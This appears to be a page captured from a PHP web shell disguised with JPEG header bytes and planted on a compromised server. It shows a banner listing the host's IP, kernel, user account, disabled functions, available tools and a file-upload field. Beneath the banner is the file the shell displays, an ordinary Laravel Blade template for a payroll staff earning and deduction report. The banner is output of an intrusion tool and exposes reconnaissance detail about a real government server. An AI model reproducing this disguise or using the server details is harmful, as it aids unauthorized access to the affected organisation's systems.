ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.16.82.226 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> Staff Earning/Deduction <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div class="box box-default" style="border: none;"> <div class="box-body box-profile" style="margin:0 5px;"> <form class="form-horizontal" id="account-info" method="GET" > <?php echo e(csrf_field()); ?> <div class="col-md-12 hidden-print"> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if(session('msg')): ?> <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Success!</strong> <?php echo e(session('msg')); ?> </div> <?php endif; ?> <?php if(session('err')): ?> <div class="alert alert-warning alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Operation Error !<br></strong> <?php echo e(session('err')); ?> </div> <?php endif; ?> </div> <p> <h2 class="text-success text-center"> <strong>STAFF EARNING AND DEDUCTION</strong> </h2> </p> <div class="row"> <div class="col-sm-12"> <div style="margin: 0px 5%;"> <div class="form-group" style="margin-bottom: 5%;"> <div class="col-sm-12 row"> <?php if($division != ''): ?> <div class="col-sm-12"> <label class="control-label">Division</label> <select class="form-control" name="division" id="divisions"> <option value=""> Select </option> <?php $__currentLoopData = $division; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $div): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php if($div->divisionID == session('selected_division')): ?> <option value="<?php echo e($div->divisionID); ?>" selected="selected"> <?php echo e($div->division); ?></option> <?php else: ?> <option value="<?php echo e($div->divisionID); ?>"><?php echo e($div->division); ?> </option> <?php endif; ?> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <?php else: ?> <div class="col-md-12"> <div class="form-group"> <label>Division</label> <input type="text" readonly class="form-control" name="division" value="<?php echo e($loggedDivision->division); ?>"> </div> </div> <input type="hidden" id="putDivisionInSession" name="division" value="<?php echo e($loggedDivision->divisionID); ?>"> <?php endif; ?> <div class="col-sm-6"> <label class="control-label">Control variable</label> <select class="form-control" name="controlvariable" id="controlvariable"> <option value=""> --Select-- </option> <option value="1" <?php echo e($EorDSession != '' && $EorDSession[0]->particularID == 1 ? 'selected' : ''); ?>> Earning</option> <option value="2" <?php echo e($EorDSession != '' && $EorDSession[0]->particularID == 2 ? 'selected' : ''); ?>> Deduction</option> </select> </div> <div class="col-sm-6"> <label class="control-label"> <?php if($EorDSession != ''): ?> <?php if($EorDSession[0]->particularID == 1): ?> <?php echo e('Select Type of Earning'); ?> <?php else: ?> <?php echo e('Select Type of Deduction'); ?> <?php endif; ?> <?php endif; ?> </label> <select class="form-control" name="earnordeduction" id="earnordeduction"> <option value=""> --Select-- </option> <?php if($EorDSession != ''): ?> <?php $__currentLoopData = $EorDSession; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $ed): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <?php if($ed->ID == $edses): ?> <option value="<?php echo e($ed->ID); ?>" selected="selected"> <?php echo e($ed->description); ?></option> <?php else: ?> <option value="<?php echo e($ed->ID); ?>"> <?php echo e($ed->description); ?> </option> <?php endif; ?> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php else: ?> <?php endif; ?> </select> </div> </div> </div> <div align="center" class="hidden-print"> <hr /> <button type="submit" name="staffCooperativeReport" class="btn btn-success"> <i class="fa fa-save"></i> Generate Report</button> </div> </div> </div> </div> </form> </div> </div> <div class="box box-default" style="border: none;"> <div class="box-body box-profile" style="margin:0 5px;"> <div class="box"> <table class="table table-bordered table-striped table-highlight"> <thead> <tr bgcolor="#c7c7c7"> <th> S/N</th> <th> Name</th> <th> Particular</th> <th>Amount</th> <th>Target Amount</th> <th>Target Balance</th> <th>With limit</th> <th>Last Processed</th> </tr> </thead> <?php $i=1;?> <?php if(count($result) > 0): ?> <?php $__currentLoopData = $result; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $con): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td><?php echo e($i++); ?></td> <td><?php echo e($con->surname); ?> <?php echo e($con->first_name); ?> <?php echo e($con->othernames); ?></td> <td><?php echo e($con->description); ?></td> <td><?php echo e(number_format($con->amount, '2', '.', ',')); ?></td> <td><?php if($con->targetAmount<>'' && $con->recycling==0): ?><?php echo e(number_format( $con->targetAmount, 2, '.', ',')); ?> <?php else: ?> Not Applicable <?php endif; ?></td> <td><?php if($con->targetAmount<>'' && $con->recycling==0): ?> <?php echo e(number_format( $con->targetAmount-$con->totaloffset, 2, '.', ',')); ?><?php else: ?> Not Applicable <?php endif; ?></td> <td><?php if($con->recycling==1): ?> No <?php else: ?> yes <?php endif; ?> </td> <td><?php if($con->lastperiod<>''): ?> <?php echo e($con->lastperiod); ?><?php else: ?> Not yet processed <?php endif; ?> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php else: ?> <tr class="text-center"> <td colspan="4" class="text-danger">No Result found!...</td> </tr> <?php endif; ?> </table> <hr /> </div> </div> </div> <?php $__env->startSection('styles'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <style type="text/css"> .autocomplete-suggestions { background-color: #eee !IMPORTANT; border: 1px solid #c3c3c3 !important; padding: 1px 5px !important; cursor: Pointer !important; overflow: scroll; } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script src="<?php echo e(asset('assets/js/jquery.autocomplete.js')); ?>"></script> <script type="text/javascript"> (function() { $('#court').change(function() { var court = $(this).val(); var check = 'court'; $('#processing').text('Processing. Please wait...'); $.ajax({ url: murl + '/account-info/court', type: "post", data: { 'courtID': court, 'check': check, '_token': $('input[name=_token]').val() }, success: function(data) { location.reload(true); } }) }); })(); </script> <script type="text/javascript"> $(document).ready(function() { let divSession = $('#putDivisionInSession').val() var check = 'division'; if (divSession) { console.log("my div session", divSession) $.ajax({ url: murl + '/account-info/court', type: "post", data: { 'divisionID': divSession, 'check': check, '_token': $('input[name=_token]').val() }, success: function(data) { // location.reload(true); // console.log(data); } }); } else { console.log("you have empy division session") } $('#divisions').change(function() { var division = $(this).val(); var check = 'division'; // console.log(division); $.ajax({ url: murl + '/account-info/court', type: "post", data: { 'divisionID': division, 'check': check, '_token': $('input[name=_token]').val() }, success: function(data) { location.reload(true); console.log(data); } }); }); $('#controlvariable').change(function() { var controlV = $(this).val(); console.log(controlV); $.ajax({ url: murl + '/get-earnordeduction', type: "GET", data: { 'controlvariable': controlV, // '_token': $('input[name=_token]').val() }, success: function(data) { location.reload(true); console.log(data); } }); }); $('#earnordeduction').change(function() { var ed = $(this).val(); // console.log(ed); $.ajax({ url: murl + '/set-current-ed', type: "GET", data: { 'ed': ed, // '_token': $('input[name=_token]').val() }, success: function(data) { // location.reload(true); // console.log(data); } }); }); }); </script> <script type="text/javascript"> $(function() { $("#autocomplete").autocomplete({ serviceUrl: murl + '/account-info/get-staff', minLength: 2, onSelect: function(suggestion) { $('#fileNo').val(suggestion.data); $('#searchName').attr("disabled", false); showAll(); } }); }); </script> <?php $__env->stopSection(); ?> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/staffcooperative/staffcooperative.blade.php ENDPATH**/ ?>